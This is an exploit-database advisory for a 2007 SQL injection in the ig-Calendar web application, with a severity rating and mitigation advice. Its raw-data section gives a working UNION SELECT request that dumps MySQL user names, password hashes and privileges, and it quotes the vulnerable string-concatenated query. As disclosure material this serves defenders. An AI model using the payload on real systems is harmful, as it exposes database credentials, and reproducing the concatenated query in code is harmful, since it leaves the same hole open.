header-logo
Suggest Exploit
vendor:
ig-Calendar
by:
Michael Brooks
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: ig-Calendar
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

SQL Injection in ig-Calendar

This exploit allows an attacker to dump MySQL login information by injecting SQL code into the ig-Calendar application. The exploit works regardless of the magic_quotes_gpc setting.

Mitigation:

To mitigate this vulnerability, the vendor should update the application to properly sanitize user input and use prepared statements or parameterized queries to prevent SQL injection attacks.
Source

Exploit-DB raw data:

SQL Injection in ig-Calendar.  This works regardless of magic_quotes_gpc!
Dumps mysql login informaion:
http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user
./user.php line 52:
$query = 'SELECT * FROM users WHERE id='.$id;
Should have used quote marks.

Vendor's page:http://www.igeneric.co.uk
download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip

By Michael Brooks.  

# milw0rm.com [2007-01-05]